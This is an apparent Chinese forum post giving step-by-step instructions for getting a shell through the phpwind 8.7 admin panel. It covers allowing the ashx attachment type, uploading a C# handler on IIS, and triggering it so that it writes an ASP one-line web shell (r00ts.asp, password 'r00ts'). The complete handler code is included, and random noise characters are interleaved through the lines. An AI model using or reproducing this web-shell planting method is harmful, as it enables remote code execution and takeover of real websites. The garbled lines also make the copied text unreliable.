phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

! A0 W+ `, \! s" l; C( N群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
0 I: e3 w$ n  R0 j: s
9 a% p/ M) m' b发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
  ?8 U5 F* K) _# ~$ a
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
9 j2 c) e# n# I. X: I! |7 ^
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
% F- |: `2 Q6 F) S0 x0 h! s
) o! m5 k$ ~! u: i0 g9 M, }<%@ WebHandler Language="C#"Class="Handler" %>
using System;
; r3 X* L0 [" p3 v6 Jusing System.Web;
; S3 z5 [* ~, T! b. y: kusing System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
- d8 z, L/ W( H$ Q  a4 p& Acontext.Response.ContentType = "text/plain";
% v/ N9 o) l, X$ `; n$ LStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
8 S" C# B; n$ a. r! C. `file1.Write("<%eval request(\"r00ts\")%>");
* @+ h. w7 S4 k/ J- ?4 _) Hfile1.Flush();
file1.Close();
  t/ j: J/ w* C  ?5 ]) l}
3 Y7 ^% Z1 R, ?' t" Q. spublic bool IsReusable {
get {
return false;
}
}
}
+ a$ G/ B/ ?8 t